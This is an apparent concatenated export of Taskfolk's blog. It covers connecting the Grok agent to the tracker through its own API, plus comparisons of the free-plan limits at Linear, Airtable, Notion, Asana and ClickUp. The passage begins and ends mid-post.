hard cap of 25 live agents per workspace, which is an abuse guard rather than a plan limit. The dialog shows the plaintext key exactly once. Export it as `TASKFOLK_AGENT_KEY` on the machine Grok runs on before you close anything, because afterward the directory only ever shows the key prefix, and losing it means disconnecting and reconnecting for a fresh one. ![The Taskfolk Bots page after connecting: the sessions list with live state badges and the connected agents directory with name, owner, status, and key prefix.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## Delegate a ticket and let Grok claim it With the agent connected, delegation is deliberately boring. Open a ticket in `WEB`, open the assignee picker, and the picker splits into People and Agents. Pick your Grok agent the same way you would pick a teammate. Assignment does one thing worth understanding: it auto-creates a `pending` session, visible immediately on the hub and on the issue, meaning "this work is handed over and waiting to be picked up." Nothing is running yet. When Grok actually starts, it claims that pending row and flips it to `running`. Over MCP that is the `startAgentSession` tool; over REST it is one call with the agent's own key: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions \ -H "Authorization: Bearer $TASKFOLK_AGENT_KEY" \ -H "Content-Type: application/json" \ -d '{"title": "Fix login redirect loop", "issue_key": "WEB-217"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_AGENT_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Fix login redirect loop", issue_key: "WEB-217", }), }, ); const session = await res.json(); ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_AGENT_KEY']}"}, json={"title": "Fix login redirect loop", "issue_key": "WEB-217"}, ) session = res.json() ``` The lifecycle end to end: ```mermaid sequenceDiagram participant You participant Taskfolk participant Grok You->>Taskfolk: Assign WEB 217 to the agent Note over Taskfolk: Session created as pending Grok->>Taskfolk: Start session over MCP Note over Taskfolk: Session is running Grok->>Taskfolk: Comment and move status Grok->>Taskfolk: Close session as review You->>Taskfolk: Review and merge ``` In practice you rarely script this yourself. You tell Grok, in the session or in an instruction file, something like: "You are the agent behind the taskfolk MCP server. At the start of a session, list issues assigned to you in the WEB project, claim the highest priority one, move it to In Progress, and comment when you open a PR. Close your session as review, not done." Grok Build reads Claude Code instruction files, so if your repo already carries agent instructions for Claude, the same file steers Grok. The quality of the run then depends mostly on the ticket itself, which is a writing problem more than a tooling one; [write tickets AI agents can finish](/blog/write-tickets-ai-agents-can-finish) is the companion piece for that. If a pending session is never claimed, a worker cancels it after seven days, so a delegation Grok never woke up for does not sit on the hub pretending forever. ## Read the sessions like a manager, not a babysitter The Sessions list on the Bots page is the payoff surface. The stored states are pending, running, needs input, review, done, failed, and cancelled. Two more are derived at read time and they are the ones that save you. A running session whose heartbeat has been silent for 30 minutes renders as stalled. That is the difference between "Grok is thinking" and "Grok's process died an hour ago," and it is exactly the failure mode of an overnight `grok goal` run: without it, a dead agent looks busy forever. And a session closed as review or done with no attributed activity or comment on its issue gets an unverified badge, which catches the other classic agent failure, claiming completion with nothing to show. If a run looks stuck, [is your AI agent stuck](/blog/is-your-ai-agent-stuck) walks through diagnosing it from these signals. ![The sessions list with live state badges per session, each row linking to its issue.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) This is where the board earns its keep against the terminal. Your PM does not read scrollback. They read a list that says one session in review, one running, one stalled since 2am, and they know exactly which question to ask. ## Guardrails for an agent that runs while you sleep Grok Build's autonomous modes make guardrails less optional than they are for a supervised agent. Two are worth setting on day one. First, field permissions. Each agent profile carries an optional allowlist over 14 issue fields (status, priority, assignee, labels, estimates, dates, and so on), enforced at the single API write choke point that covers REST, transitions, and MCP alike. A sensible policy for a goal-mode Grok is: status, comment, spent, completion, and nothing else. It can report and move its own work but cannot reassign tickets or rewrite priorities at 3am. Be clear about what this is: per-field, not per-value. It cannot express "may move to In Progress but not to Done." [How to set agent field permissions](/docs/how-to-set-agent-field-permissions) shows the setup. Second, keep "done" human. Have Grok close sessions as review, and let a person make the final move. The unverified badge backs this up mechanically, but the habit matters more than the mechanism. An agent that scores 70.8% on SWE-Bench is wrong about one task in three or four, and the board should reflect who decided the work was actually finished. ## Arena mode is a reason for the board, not a problem for it The tempting mistake with `grok arena` is to connect all eight racers as eight agents. Do not. The arena is an internal search strategy: eight attempts, one winner, seven discarded. Your board should record outcomes, not search internals. Connect one Grok agent, let the arena race inside it, and have the winning attempt reported on the ticket, ideally with a comment noting an arena run picked among competing approaches, so the history says why the diff looks the way it does. Where multiple connected agents do make sense is heterogeneous teams, which are quietly becoming normal: a Grok agent on implementation, a Claude Code agent on review, a Cursor agent on the frontend, each a named member on one board. Since the same Taskfolk MCP server serves all of them with per-agent keys, the coordination cost is just tickets and statuses, the coordination cost teams already know how to pay. [Split work between coding agents](/blog/split-work-between-coding-agents) covers the patterns that hold up when more than one agent shares a backlog. ## Set it up in ten minutes The whole loop, compressed: install Grok Build, connect an agent in Taskfolk's Bots page (Custom tile, name it properly, export the key), drop the TOML block into `~/.grok/config.toml` or let auto-discovery find your existing Claude config, then assign a small, well-written ticket and watch the session flip from pending to running on the hub. Start with something bounded, a real bug with a reproduction, per [scope an AI agent's first job](/blog/scope-an-ai-agents-first-job), and widen from there as the session history gives you reasons to trust it. Taskfolk's free plan covers this end to end. Agents never bill a seat, so the experiment costs you the price of Grok's tokens and nothing else. [Connect your first agent](/docs/how-to-connect-an-ai-agent) and see whether the morning-after question changes from "what did it do?" to "why is WEB-217 still in review?", which is a much better question to be stuck with. --- # What happens at issue 251 on Linear's free plan URL: https://taskfolk.ai/blog/linear-250-issue-limit Published: 2026-08-18 Updated: 2026-09-23 Author: The Taskfolk team Tags: alternatives, pricing, comparison, migration, issue tracking Linear Free stops at 250 non-archived issues. What the block actually does, the seat math for a team of eight, and how to move without losing history. You notice it as an error, not a warning. Someone goes to file a bug, hits create, and Linear tells them the workspace is at its issue cap. Whatever warning existed, nobody read it. The create button just stops working. *Re-checked on 23 September 2026: Linear's pricing page still states the 250-issue cap on the free plan.* Linear's free plan allows 250 non-archived issues. Members are unlimited, which is genuinely generous, and you get 2 teams and 10 MB file uploads. But the 250 is a hard stop: until someone archives old issues or the workspace upgrades, nobody creates anything new. For a team shipping at any real pace, that is a few weeks to a few months of work. ## What Linear's 250 issue limit actually counts The word "non-archived" is doing all the work in that sentence. A bug you closed six months ago still counts against the 250 until someone archives it. Finished work occupies the budget. So the free plan comes with a chore attached. Someone has to sweep completed issues into the archive to keep room for new ones. Nothing is lost when they do, archived issues stay searchable, but it is a task that exists only because of the cap, and it is exactly the kind of task a team forgets about until creation breaks on a Thursday afternoon. ## The three doors at issue 251 **Archive.** Free, and fine if your closed-issue pile is genuinely dead. It buys you weeks, not years, and you will be standing here again. **Pay.** Linear Basic is $10 per user per month. This is where the shape of your team starts to matter, because Linear charges per member, not per person who writes code. The designer who files two issues a month, the founder who reads the board on Mondays, the support lead who watches bug tickets: all $10. **Move.** Most teams do not, because they assume migration means losing history. That has not been true for a while. ## The math for a team of eight Take six people who build and two who watch. A support lead who needs to see bug status and a founder who reads the roadmap. Neither will ever drag a card. | | Who pays | Per month | Per year | |---|---|---|---| | Linear Basic | all 8 at $10 | $80 | $960 | | Taskfolk Pro | 6 builders at $3, viewers free | $18 | $216 | The interesting number is not the $744 gap. It is the two watchers: $240 a year on Linear, nothing on Taskfolk. That is the part that scales badly. Every stakeholder you add for visibility is another $120 a year for read access, so the instinct to open the board up to the whole company arrives with a bill. ![Taskfolk plan grid showing Free, Pro, and Business tiers with free viewers on every plan](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) Our free plan has no issue cap and no member cap, but it has its own ceilings and you should hear them from us rather than find them: 5 projects, 128 MB of workspace storage, 1 MB per file, 25 AI credits a month, and imports of up to 1,000 rows per run. If your team attaches large files to everything, 128 MB disappears quickly and you will end up on a paid plan for storage instead of for issues. What you will not hit is a wall on the thing a tracker exists to hold. Full numbers are on the [pricing](/pricing) page. ## Moving without losing the history The importer takes a Linear API key. Paste it, pick what to bring, and issues, statuses, assignees, labels, and comments come across. A design agency that switched earlier this year moved 172 issues in about two seconds, which is roughly how long it takes to read this sentence. ![Taskfolk import wizard with source selection for Linear, Jira, Trello, Asana, ClickUp, and CSV](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) What lands where: | From Linear | In Taskfolk | |---|---| | Issues | Issues with title and description | | Workflow states | Board status columns | | Assignees | Assignees | | Labels | Labels | | Comments | Comments on the issue | Two practical notes. The free plan imports 1,000 rows per run, which is four times the entire Linear free cap, so a team arriving from a full free workspace fits comfortably. And the boring migration process is still the right one: bring one project over, run it for two weeks next to Linear, then move the rest or decide not to. Nobody has to declare a switch on day one. ## AI agents as named members If part of why your issue count climbed is that agents are now filing and closing work, a per-issue ceiling is an awkward place to meet that trend. On Taskfolk an AI agent is a member. Claude Code, Codex, and Cursor connect with their own API key and get their own profile, so work assigned to an agent is assigned to a name, its runs show as sessions on the ticket, and every change it makes is attributed to it in the activity log. Agent members are never billed as seats. ![Agent sessions list showing named agents with live session states on their tickets](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) That is a structural difference rather than a feature-list one. On a strict per-seat tool, giving an agent an identity means paying for another user, which quietly pushes teams toward running agents under a shared human account where nobody can tell afterwards who did what. ## Linear is not the villain here Linear is fast and unusually well built. Its keyboard-first triage is the best in the category, the cycle model is coherent, and Insights gives engineering leaders analytics we do not match today. None of that changes because of a cap. And the cap is a business decision, not a flaw. Free plans exist to become paid plans, and Linear picked issue count as the lever. It is at least a legible lever, arguably more honest than a free tier that works fine until you need one specific feature. If Linear's speed and its cycle workflow carry how your team works, pay the $10 and stop reading comparison posts. That is a real answer, and for some teams it is the right one. The question worth asking is narrower than "which tool is better." It is: are you about to start paying per seat for people who only read? If seven of your eight are builders, the difference is small enough to ignore. If half the workspace is watching, the answer changes, and it keeps changing every time you add someone. If you want the side-by-side rather than the argument, [Taskfolk vs Linear](/vs/linear) lays out both columns including what Linear still does better. If Linear is not the only tool you are weighing, [Linear alternatives](/blog/linear-alternatives-speed-and-price) covers where teams actually land. And if you just want to see whether your issues survive the trip, the importer runs on the free plan, so you can find out before you decide anything. --- # Record 1,001: when your Airtable base stops taking tasks URL: https://taskfolk.ai/blog/airtable-1000-record-limit Published: 2026-08-18 Updated: 2026-09-23 Author: The Taskfolk team Tags: comparison, pricing, project management Airtable's free plan caps every base at 1,000 records, counted across all tables. What the cap covers, who should stay, and how task teams move out. In February 2026, Airtable trimmed the free plan's record allowance from 1,200 per base to 1,000. Two hundred rows sounds like nothing written down. For a team filing tasks it is about three weeks. *Re-checked on 23 September 2026: Airtable's pricing page still states 1,000 records per base on the free plan.* You never find out by reading a changelog. You find out mid-week, when someone pastes a bug report into the grid and the row will not save. The base is full. Now you are doing archaeology on your own backlog at 4pm, deciding which finished work from March you are allowed to delete, because deleting is the only free way to make room. Tasks are the fastest-growing thing any team produces. Every bug, every subtask, every "follow up with the client on Thursday" is a row, and rows do not stop arriving. That is the real shape of the problem: a fixed ceiling under a number that only goes up. ## Airtable's 1,000 record limit counts the whole base, not each table This is the detail people get wrong, and getting it wrong changes your planning by a factor of four. The 1,000 records are counted across every table in the base together. A base holding Tasks, Sprints, Clients, and Notes does not get 1,000 each. All four share one pool. Splitting your task grid into tidier tables buys you no headroom at all; it spends the same headroom in more places. Bases are unlimited, so the escape hatch everyone finds is to split: one base per project, or per quarter. That works until you want to see across them. Linked records do not reach across bases, so the moment you split you give up the cross-project rollup that was half of why you were in Airtable. The rest of the free tier lives in the same neighbourhood: 5 editors, 1 GB of attachments per base, 100 automation runs a month, 1,000 API calls a month. When you hit any of them the options are the same two, delete or upgrade. Team is $20 per user per month billed annually, which for a group of eight is roughly $1,900 a year. ## Two different products share one name Here is the fork that matters more than any feature table, and I will be straight about which side we are on. If you use Airtable as a database, stay. Linked records, formula fields, rollups, interfaces built over structured data, a CRM, an inventory, a content calendar with real typed fields: that is what Airtable is, and it is good at it. We build a project tracker. We do not have formula fields or an interface designer, and we are not planning to. Swapping a database for a tracker would be a downgrade for that job. If you use Airtable as a task tracker, the record cap is a tax on the exact activity you are doing. The tell is easy to check: open your base and look at what most records are. If most of them are things somebody has to do, you have built a tracker out of a database, and the ceiling will keep finding you. ```mermaid flowchart TD A["Base is full at 1,000 records"] --> B{"What are most records?"} B -->|"Structured data, CRM, inventory"| C["Stay on Airtable and upgrade"] B -->|"Things somebody has to do"| D["Move tasks to a tracker"] D --> E["Keep the database rows in Airtable Free"] ``` That last branch is worth naming. Moving tasks out is not the same as leaving. Plenty of teams pull the task table into a tracker and keep the genuinely relational tables where they were, back under 1,000 and comfortably free again. ## What a tracker gives you that a full base cannot Taskfolk is a project tracker: typed issues, a kanban board, backlog, sprints with burndown, docs, and reports. Issues are unlimited on every plan including Free, because a tracker that stops accepting work has stopped tracking. We have caps too. They are just different ones, and here they are next to Airtable's: | | Airtable Free | Taskfolk Free | |---|---|---| | Tasks or records | 1,000 per base, all tables shared | Unlimited | | People | 5 editors | Unlimited members | | Containers | Unlimited bases | Up to 5 projects | | Files | 1 GB per base | 128 MB per workspace | | Automation | 100 runs a month | starts on Pro | | API calls | 1,000 a month | not capped by plan | Free also includes 25 AI credits a month, which is enough to try the agent side without putting in a card. Read the table honestly, though. If you need a sixth project or you attach a lot of design files, our free plan will run out on you the way Airtable's does, just along a different axis. 128 MB is small and I am not going to dress it up. What we do not do is stop you filing work. Paid is $3 per builder per month, and people who only read are free with no cap on any plan. The full breakdown is on [pricing](/pricing), and the comparison pages under [Taskfolk vs Airtable](/vs/airtable) cover the rivals we have written up so far. ![Taskfolk kanban board with columns, assignees, and issue cards](/images/blog/how-to-use-a-kanban-board-overview.webp) ## Getting your tasks out, one CSV at a time The path is CSV and it is not dramatic. In Airtable, open the view holding your tasks and use Download CSV from the view menu. You get a file with your fields as columns. Before importing, trim it to what a tracker needs: title, description, status, assignee email, priority, due date. Formula and rollup columns export as their computed values, so they arrive as flat text; drop them or park them in a custom field. Then import. Map columns to fields, pick the project, run it. One honest note: free workspaces import up to 1,000 rows per run, so a base sitting at the cap fits in a single pass with nothing to spare. If you split across several bases, do one run per file. Pro raises that to 10,000 rows. ![Import wizard with source selection for CSV and other trackers](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) Do not move everything on day one. Take one active project across, work in it for two weeks with the old base still open, and decide after that. If it does not stick, you have lost a CSV export and some evenings, not your history. ## Agents are members here, not seats If AI agents already do work for you, they get named accounts. Claude Code, Codex, and Cursor connect over the API or MCP, get assigned issues like anyone else, and every change they make is attributed to them in the activity log. Agent members are never billed as seats. This is a difference in model rather than a knock on Airtable, where you can certainly script against a base. The point of a named agent is that its runs show up as sessions on the ticket, so a human can review what it did without reading a log file. ## The two-minute version Count the records in your base and work out what share of them are tasks. Under half, and you have a database with a to-do list in the corner. Archive the completed rows, stay free, and get on with it. Most of them, and the cap will keep interrupting you every few weeks until you either pay $20 a seat or move the tasks somewhere without a ceiling. Taskfolk's free plan takes unlimited issues and unlimited people, capped at 5 projects and 128 MB. Import your CSV and see whether the second week feels better than the first. --- # Notion's free plan and 1,000 blocks: the wall at member two URL: https://taskfolk.ai/blog/notion-1000-block-limit Published: 2026-08-18 Updated: 2026-09-23 Author: The Taskfolk team Tags: alternatives, comparison, pricing Notion Free is unlimited for one person. Add a second member and the workspace is capped at 1,000 blocks. What that costs, and when to run the work elsewhere. Notion's free plan is genuinely unlimited while you are alone in it. Write as much as you like, nest pages as deep as you like, build the database of your dreams. Nothing is counted. That has been true since 2022, and it is why so many side projects and personal systems live happily in Notion. *Re-checked on 23 September 2026: still unlimited blocks for a single-member free workspace, with the 1,000-block cap returning at two or more members.* Then you invite one person, and the accounting changes. A free workspace with two or more members is capped at 1,000 blocks for the whole workspace. Not 1,000 pages. Blocks. That is the shape of the trap. The plan that felt infinite on Sunday starts metering on Monday, and what flipped the switch was the most ordinary action available: adding a teammate. ## What a block is, and how fast a project database eats 1,000 A block is Notion's atomic unit of content. A paragraph is a block. So is a heading, a bullet, a checkbox, a toggle, a divider, a callout, an image. Every row in a database is a page, a page is a block, and everything written inside it is more blocks. Which means the meter runs fastest on exactly the work that made you invite someone in the first place. | One normal week of team work | Blocks it costs | |---|---| | Meeting notes, one heading plus 12 bullets | 13 | | A short spec: 5 headings, 15 paragraphs, a checklist of 8 | 28 | | 40 task rows in a project database | 40, before a single one has a description | | A retro page, 20 bullets across 3 sections | 23 | Multiply that by four weeks and a few people. A team that actually uses its workspace passes 1,000 in a month or two, and a team importing an existing project can pass it in an afternoon. When you get there, the workspace stops taking new blocks. What you already wrote stays readable, but adding anything means deleting something first or upgrading. Notion Plus runs about $10 per seat per month billed annually, so five people is roughly $600 a year, which was not the plan when you picked the free tier. The blunt version: on Notion Free with a teammate, writing things down has a budget. ## Notion's 1,000 block limit has a supporting cast The block cap gets the attention, and it should. Two other free-plan rules tend to bite in the same week. File uploads are capped at 5 MB each. That covers a screenshot and not much else. A short screen recording of the bug you are reporting, a PDF from a client, a design export, all bounce. Guests are capped at 10. Guests are how you bring in a contractor, a client, or a reviewer without giving them a full seat, so 10 is the ceiling on how many outsiders can ever see the work. Page history on free is 7 days. If someone flattens a page and nobody notices for a fortnight, that version is not coming back. None of these are scandals. They are a free tier doing its job: pleasant alone, inconvenient together. ## The honest fork: notes, or the work itself Notion is a wonderful wiki. The writing experience beats almost everything else, and for handbooks, meeting notes, and specs it has earned its reputation. The trouble starts when a team tries to run its projects inside Notion databases. Then every task, every status update, every comment written out longhand is spending from a 1,000-block budget, and the tool you chose for writing is charging you for the thing you do most. So the fork is not "Notion good" or "Notion bad". It is: what is this workspace mostly for? - Mostly notes, specs, and a wiki with a light task list on the side. Stay. Notion is the better tool for that, and the cap will take a long time to matter. - Mostly running a team's work, with docs attached to it. A tracker fits better, and you want one where issues are not priced by the paragraph. ## What the other side looks like, caps included Taskfolk is our product, so read this knowing that. Here is the free plan with the corners left on. Free gives you unlimited issues and unlimited members. No block cap, no issue cap, no gate on inviting the whole team. Docs live in the same workspace as the work, so a spec sits beside the tickets that implement it. The limits are up to 5 projects, 128 MB of file storage, and 25 AI credits a month. Those are real. If you need a sixth project, or you attach a lot of files, you will hit them, and then Taskfolk costs money like everything else. When you outgrow free, [pricing](/pricing) is $3 per builder per month, and people who only need to read are free with no cap. Against roughly $10 per seat on Notion Plus, that gap widens with every person who just wants to watch. The feature-by-feature version is [Taskfolk vs Notion](/vs/notion), and there is a longer writeup on [keeping the docs while gaining a tracker](/blog/notion-alternative-for-project-management). ![A Taskfolk kanban board with custom columns, assignees, and issue cards](/images/blog/how-to-use-a-kanban-board-overview.webp) ## Moving what you already wrote Two paths, and neither is magic. Task rows leave Notion as CSV, and Taskfolk imports CSV with column mapping, so titles, statuses, assignees, and dates come across as issues. The [import walkthrough](/docs/how-to-import-your-project) covers the mapping step. Prose is easier than people expect. Notion exports pages as markdown, and Taskfolk docs take pasted markdown, so specs and meeting notes land intact. What does not survive: database views, formulas, rollups, and relations between databases. If those are load-bearing for you, that is a real reason to stay put, and I would rather say it now than let you find out mid-migration. ![The import wizard with source selection for CSV, Jira, Trello, Asana, and ClickUp](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) ## Agents are members, not seats Worth knowing if you already work with AI coding tools. In Taskfolk, Claude Code, Codex, and Cursor connect as named workspace members. They get assigned issues like anyone else, their changes are attributed to them in the activity log, and they never count as billed seats. Same reasoning as free viewers: pay for the people doing the work. More on that in [do AI agents count as seats](/blog/do-ai-agents-count-as-seats). ## Where this leaves you If your workspace is a wiki with a task list bolted on, Notion Free will serve you for years and this post is not for you. If you invited a second person because you wanted to run real work together, the wall at 1,000 blocks is not something you can configure around. It is the free plan telling you what it was built for. Either pay Notion for the room, or run the work in a tracker that does not charge by the paragraph and keep Notion for the writing it is great at. Taskfolk Free is unlimited issues and unlimited members across 5 projects. Point one project at it for two weeks and you will know which side of the fork you are on. --- # Asana's free plan is now a party of two URL: https://taskfolk.ai/blog/asana-free-plan-2-users Published: 2026-08-18 Updated: 2026-09-23 Author: The Taskfolk team Tags: alternatives, pricing, comparison Asana cut its free plan to 2 users for accounts created after November 12, 2025. What changed, what the third teammate costs, and how to plan around it. Asana did not send an email about this one. If your workspace is older than November 12, 2025, you would never notice: your free plan still holds ten people, exactly as it always did. The change applies only to accounts created on or after that date, and those get a Personal plan that holds two. *Re-checked on 23 September 2026: Asana's pricing page still reads "Up to 2 seats" on the free tier.* Most teams find out the same way. Two founders start a workspace, build a few projects, hire a third person, and go to send the invite. The invite does not go through. The upgrade prompt does. By then the projects, the task history, and the team's habits are all in Asana, which is exactly when a paywall works. None of this is hidden. Asana's pricing page says Personal is for up to 2 users, and the help docs spell out the November 12, 2025 cutoff and the legacy plan behind it. It is just quiet, and it is uneven: two teams doing identical work now pay different amounts based on the month they signed up. Legacy accounts also cannot get the ten seats back once they move to a paid plan and later drop off it. ## How many users does Asana's free plan allow? Two, if the account was created on or after November 12, 2025. Ten, if it was created before that and has stayed on the free plan since. | | Legacy Personal (before Nov 12, 2025) | Personal (new accounts) | |---|---|---| | Users | Up to 10 | Up to 2 | | Tasks and projects | Unlimited | Unlimited | | Views | List, board, calendar | List, board, calendar | | Timeline, custom fields, rules, forms | Paid | Paid | The rest of the free tier did not move and is still reasonable: unlimited tasks and projects, three views, and a long integration list. The seat count is the only thing that changed, and it happens to be the one number a growing team runs into first. ## When the third teammate costs $132 a year Asana Starter is $10.99 per user per month billed annually, or $13.49 month to month. Per user means per person, and everyone counts the same. The engineer closing tickets and the client contact who opens the board on Friday afternoon are the same line on the invoice. So the third teammate is not a small step up. One annual seat is $131.88 a year, and you cannot buy just the one, because leaving Personal means paying for everybody in the workspace. Take a common shape: three people building, two people watching. A founder who wants the roadmap, and a client who wants to know if the thing is done. | Plan | Who pays | Monthly | Yearly | |---|---|---|---| | Asana Starter, annual | all 5 | $54.95 | $659.40 | | Asana Starter, monthly | all 5 | $67.45 | $809.40 | | Taskfolk Pro | 3 builders | $9 | $90 | | Taskfolk Free | nobody | $0 | $0 | Taskfolk splits the two groups. Builders are $3 per month, or $30 a year. Viewers read projects, follow issues, and comment on nothing they should not touch, and they are free on every plan with no cap. The two watchers in that table are not a rounding error on the bill, they are simply not on it. ![Taskfolk people list showing workspace members with roles, including free viewers](/images/blog/how-to-invite-team-members-people-overview.webp) ## Free tiers are shrinking, and not only Asana's Airtable did a smaller version of the same thing in February 2026, cutting the free plan from 1,200 records per base to 1,000, with bases over the new line going read-only until you deleted rows or paid. Different number, same shape: the ceiling drops, and the people already past it feel it first. The reason is not villainy. A free tier is an acquisition budget, and when a company needs that budget to convert harder, the cheapest lever is to lower the ceiling for new signups only. Existing users keep their old deal, so nobody churns in protest, and the change lands quietly. It does mean that "free" is a number you cannot plan around. It is a snapshot of what a company felt like giving away on the day you registered. ## What our free plan is built around, caps and all We took the opposite structure, so the honest thing is to say where the walls are. Taskfolk Free has unlimited members and unlimited issues. The ceiling is capacity, not headcount: 5 projects, 128 MB of storage, 1 MB per file, 25 AI credits a month, 2 automation rules, and imports of up to 1,000 rows per run. That is a real ceiling. If you attach video to tickets, 128 MB goes in an afternoon, and 5 projects is a genuine stop for an agency juggling clients. Pro lifts all of it at $3 per builder. The part we will not change is the shape: people are never the thing you pay for, and your signup date never decides what your plan includes. If we ever move a free limit, it moves for everyone at once, in public, and we should have to defend it. ![Taskfolk plan grid showing Free, Pro, and Business tiers with free viewers on every plan](/images/blog/how-to-manage-billing-and-plans-plan-grid.webp) ## Moving your Asana projects over The import is not the hard part. You can connect Asana directly with a personal access token and a project ID, or upload a CSV export if you would rather not hand over a token. Tasks, descriptions, due dates, assignees matched by email, completion state, and tags come across. Free workspaces import up to 1,000 rows per run and Pro up to 10,000. The advice that actually works: move one project, run it for two weeks next to Asana, and only then decide about the rest. A tracker migration is a few days of setup and a few weeks of muscle memory, and the second part is what people underestimate. ![Taskfolk import wizard with source selection for Asana, Jira, Trello, Linear, and CSV](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) ## Agents are members, not seats If your third teammate is not a person, this matters more than the price. Claude Code, Codex, and Cursor connect to a Taskfolk workspace over MCP or the REST API as named members. Each has a profile, gets assigned issues like anyone else, opens a session on the ticket while it works, and has every change attributed to it in the activity log. Agent members are never billed as seats. On per-seat pricing, an agent that holds its own identity is another paid user, which quietly pushes teams toward sharing one human's credentials with a bot. That works right up until you need to know who changed the ticket. ![Agent hub sessions list showing named agents with live session states on their tickets](/images/blog/manage-a-team-of-ai-agents-hub-sessions.webp) ## When Asana is still the right answer Plenty of the time. Asana is mature and well built, portfolios and goals and workload management have years of thought in them, approvals and proofing have no equivalent here, and the integration library is far deeper than ours. If your marketing and ops teams run their week inside it, switching to save $50 a month is a bad trade and you should not make it. The narrower point is this: the free tier is now sized for a party of two, and it stopped being a place a small team can grow into. If that is where you are, the [Taskfolk vs Asana](/vs/asana) comparison covers what each side actually does, and our [pricing](/pricing) page has the whole number in one screen. Free is free for as many people as you want, and it does not care when you signed up. --- # 100 uses, forever: the ClickUp counter that never resets URL: https://taskfolk.ai/blog/clickup-100-uses-free-plan Published: 2026-08-18 Updated: 2026-09-23 Author: The Taskfolk team Tags: alternatives, pricing, comparison ClickUp's Free Forever plan meters Gantt and custom fields at 100 lifetime uses that never reset. How the counters work, and life without them. You drag a bar on a Gantt chart to push a release out by three days. The dates update, the dependency arrow redraws, and somewhere out of sight a number drops from 63 to 62. Nobody mentions that number when you sign up. Most teams meet it on the day it reaches zero and the view they have been planning in quietly stops working. *Re-checked on 23 September 2026: ClickUp's own pricing FAQ still states that "'Uses' are cumulative throughout a Workspace and they do not reset or count down."* That is the mechanic sitting under ClickUp's Free Forever plan, and it is worth understanding before you build a quarter of planning on top of it. We make a competing tracker, so read this with that in mind. The facts below are ClickUp's public terms as of August 2026. ## ClickUp's 100 use limits on the Free Forever plan Free Forever is not metered by month or by seat. Several features that otherwise belong to the paid tiers are included on the free plan with a lifetime allowance of 100 uses each. Gantt charts and custom fields are the two that sting, because both are things a planning team touches daily. Three details make this different from an ordinary free tier: - **The allowance is per workspace, for the life of that workspace.** Not per person, not per month. - **It never resets.** No monthly refill, no annual reset, no forgiveness after a quiet quarter. - **At zero the feature locks.** It does not degrade or nag. It stops, until somebody upgrades. A "use" is also not just opening the view. Interacting with the chart consumes one: adjusting dates, adding or editing a dependency. One planning session where you reshuffle a release can burn through several. A hundred sounds generous when you read it in a comparison table. In practice it is about a week of real planning, spread across however many months it takes you to get there. ```mermaid flowchart TD A["Open the Gantt view"] --> B["Adjust a date or a dependency"] B --> C["Lifetime counter drops by one"] C --> D{"Uses remaining?"} D -->|Yes| A D -->|No| E["Feature locks until upgrade"] ``` The rest of the plan is easier to read: | Free Forever | What you get | |---|---| | Members | Unlimited | | Tasks | Unlimited | | Gantt charts, custom fields | 100 lifetime uses each, no reset | | File storage | About 100 MB (published figures vary, so treat it as approximate) | | Spaces | 5 | | Activity history | 1 day | The step up is Unlimited at $7 per user per month billed annually. That is the shape of the deal: wide on people, narrow on the features that make people stay, and every teammate you invited for free becomes a paid seat the moment you upgrade. ## What ClickUp gets right Unlimited members and unlimited tasks on a free plan is genuinely rare. Asana caps new free accounts at 2 users. Linear Free stops at 250 non-archived issues. ClickUp lets you put the whole company in and file as much work as you want, and $7 is not expensive for what the paid tier covers. If you want one tool holding docs, chat, whiteboards, and tracking, ClickUp has the widest surface in the category. Our broader take on that trade is in [ClickUp alternatives for teams who want calm](/blog/clickup-alternatives-simpler-with-agents). So the counters are the asterisk, not the whole story. The problem is not stinginess. It is that the features people evaluate hardest run on a hidden clock measured in clicks instead of days. A 14-day trial is easy to plan around because you can see the end from the start. A hundred interactions is not, because you cannot predict when you will spend them, and nothing warns you as they go. Teams discover the mechanic at the worst possible moment: mid-replan, with a deadline behind them. ## A free plan where nothing counts down We built Taskfolk's free tier on the opposite rule: cap capacity, never meter interaction. Timeline, custom fields, sprints, and reports behave exactly the same on Free as on paid. There is no per-feature counter anywhere in the product, because a feature that works a hundred times and then stops is not something you can plan a quarter around. ![Taskfolk timeline view with task bars and a dependency arrow between two issues](/images/blog/gantt-chart-with-dependencies-gantt-overview.webp) What Free does cap, plainly: - 5 active projects - 128 MB of file storage - 25 AI credits per month - Unlimited issues, unlimited members, unlimited viewers Automation rules are Pro and up, so if rules are the reason you are shopping, our free tier will not cover you. That is a real gap and I would rather say it here than let you find out in week three. ![Custom fields settings page with field types and their configuration](/images/blog/custom-fields-in-issue-tracking-fields-page.webp) The direction the limit runs is what changes day to day. Capacity caps are visible before you hit them: you can count your projects, and storage sits on a bar in settings. You outgrow them on your own schedule, and when you do, nothing you already learned stops working. A lifetime use counter is the reverse. It is invisible while it drains and absolute when it empties. If you want the wider comparison of what free plans actually hand you, we wrote [an honest guide to free project management software](/blog/free-project-management-software-honest-guide), and the mechanics of dependency planning are in [Gantt charts with dependencies](/docs/gantt-chart-with-dependencies). Taskfolk is $3 per builder per month with viewers free on every plan. The [pricing](/pricing) page has the full grid, and [Taskfolk vs ClickUp](/vs/clickup) covers where ClickUp is still the better answer, because there are places where it is. ## Moving work across If you decide to move, the importer handles ClickUp directly alongside Jira, Trello, Asana, Linear, and CSV, bringing tasks, statuses, assignees, and comments over. Free workspaces import up to 1,000 rows per run, Pro 10,000. ![Import wizard showing source selection for Jira, Trello, Asana, ClickUp, Linear, and CSV](/images/blog/how-to-import-your-project-workspace-wizard-source.webp) The process that works is unglamorous. Import one project, run it in parallel with what you have for two weeks, and only then decide about the rest. Migrating a whole workspace on a Friday because a counter hit zero on Thursday is how teams end up with two half-populated trackers. The step by step is in [how to import your project](/docs/how-to-import-your-project). ## Agents count as members, not seats One structural difference while you are 